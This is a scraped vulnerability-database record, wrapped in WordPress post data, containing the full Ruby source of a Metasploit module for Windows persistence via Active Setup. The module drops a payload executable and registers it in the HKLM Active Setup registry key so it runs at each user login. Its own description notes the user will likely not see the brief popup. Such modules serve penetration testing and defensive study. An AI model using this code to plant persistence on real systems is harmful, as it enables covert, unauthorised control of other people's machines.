{“lastseen”:”2026-02-20T19:28:03″,”description”:”This module will register a payload to run via the Active Setup mechanism in Windows. Active Setup is a Windows feature that runs once per user at login. It triggers in a user context, losing privileges from admin to user. Active Setup will open a…”,”published”:”2026-02-20T18:55:12″,”modified”:”2026-02-20T18:55:12″,”type”:”metasploit”,”title”:”Windows Registry Active Setup Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-WINDOWS-PERSISTENCE-REGISTRY_ACTIVE_SETUP-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n include Msf::Exploit::Powershell\\n include Msf::Post::Windows::Registry\\n include Msf::Post::File\\n include Msf::Exploit::EXE\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Windows Registry Active Setup Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module will register a payload to run via the Active Setup mechanism in Windows.\\n Active Setup is a Windows feature that runs once per user at login.\\n It triggers in a user context, losing privileges from admin to user.\\n\\n Active Setup will open a popup box with \\”Personalized Settings\\” and the text\\n \\”Setting up personalized settings for: \\u003cSETUP_NAME\\u003e\\”. However\\n this won’t occur until the login screen has exited (but before the desktop\\n is loaded), and our execution is extremely fast so likely the user will not\\n see it.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘h00die’,\\n ],\\n ‘Platform’ =\\u003e [ ‘win’ ],\\n ‘SessionTypes’ =\\u003e [ ‘meterpreter’ ],\\n ‘Targets’ =\\u003e [\\n [ ‘Automatic’, {} ]\\n ],\\n ‘References’ =\\u003e [\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1547_014_ACTIVE_SETUP],\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],\\n [‘URL’, ‘https:\/\/hadess.io\/the-art-of-windows-persistence\/’]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2015-12-01’,\\n ‘Notes’ =\\u003e {\\n ‘Reliability’ =\\u003e [EVENT_DEPENDENT, REPEATABLE_SESSION],\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS]\\n }\\n )\\n )\\n\\n register_options([\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of payload file to write. Random string as default.’]),\\n OptString.new(‘SETUP_NAME’, [false, ‘Name of the setup program.’, ‘Update’]),\\n ])\\n end\\n\\n def regkey\\n ‘HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Active Setup\\\\\\\\Installed Components’\\n end\\n\\n def writable_dir\\n d = super\\n return session.sys.config.getenv(d) if d.start_with?(‘%’)\\n\\n d\\n end\\n\\n def check\\n return Msf::Exploit::CheckCode::Safe(‘System does not have powershell’) unless registry_enumkeys(‘HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\’).include?(‘PowerShell’)\\n\\n vprint_good(‘Powershell detected on system’)\\n\\n # test write to see if we have access\\n rand = Rex::Text.rand_guid\\n\\n vprint_status(\\”Checking registry write access to: #{regkey}\\\\\\\\#{rand}\\”)\\n return Msf::Exploit::CheckCode::Safe(\\”Unable to write to registry path #{regkey}\\\\\\\\#{rand}\\”) if registry_createkey(\\”#{regkey}\\\\\\\\#{rand}\\”).nil?\\n\\n registry_deletekey(\\”#{regkey}\\\\\\\\#{rand}\\”)\\n\\n Msf::Exploit::CheckCode::Vulnerable(‘Registry writable’)\\n end\\n\\n def install_persistence\\n payload_name = datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alpha((rand(6..13)))\\n payload_name \\u003c\\u003c ‘.exe’ unless payload_name.downcase.end_with?(‘.exe’)\\n payload_exe = generate_payload_exe\\n payload_pathname = writable_dir + ‘\\\\\\\\’ + payload_name + ‘.exe’\\n vprint_good(\\”Writing payload to #{payload_pathname}\\”)\\n fail_with(Failure::UnexpectedReply, \\”Error writing payload to: #{payload_pathname}\\”) unless write_file(payload_pathname, payload_exe)\\n\\n rand = Rex::Text.rand_guid\\n rand = Rex::Text.rand_guid while registry_key_exist?(\\”#{regkey}\\\\\\\\#{rand}\\”)\\n\\n print_status(\\”Using installer guid: #{rand}\\”)\\n registry_createkey(\\”#{regkey}\\\\\\\\#{rand}\\”)\\n registry_setvaldata(\\”#{regkey}\\\\\\\\#{rand}\\”, ‘StubPath’, \\”cmd \/c start \\\\\\”\\\\\\” \\\\\\”#{payload_pathname}\\\\\\”\\”, ‘REG_SZ’)\\n registry_setvaldata(\\”#{regkey}\\\\\\\\#{rand}\\”, ”, datastore[‘SETUP_NAME’], ‘REG_SZ’)\\n\\n @clean_up_rc = %(execute -f cmd.exe -a \\”\/c reg delete \\\\\\\\\\\\\\”#{regkey}\\\\\\\\#{rand}\\\\\\\\\\\\\\” \/f\\” -H\\\\n)\\n @clean_up_rc \\u003c\\u003c %(execute -f cmd.exe -a \\”\/c reg delete \\\\\\\\\\\\\\”#{regkey.sub(‘HKLM’, ‘HKCU’)}\\\\\\\\#{rand}\\\\\\\\\\\\\\” \/f\\” -H\\\\n)\\n @clean_up_rc \\u003c\\u003c \\”rm #{payload_pathname.gsub(‘\\\\\\\\’, ‘\/’)}\\\\n\\”\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/persistence\/registry_active_setup.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/persistence\/registry_active_setup\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-20T19:28:03″,”description”:”This module will register a payload to run via the Active Setup mechanism in Windows. Active Setup is a Windows feature that runs once per…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-41989","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n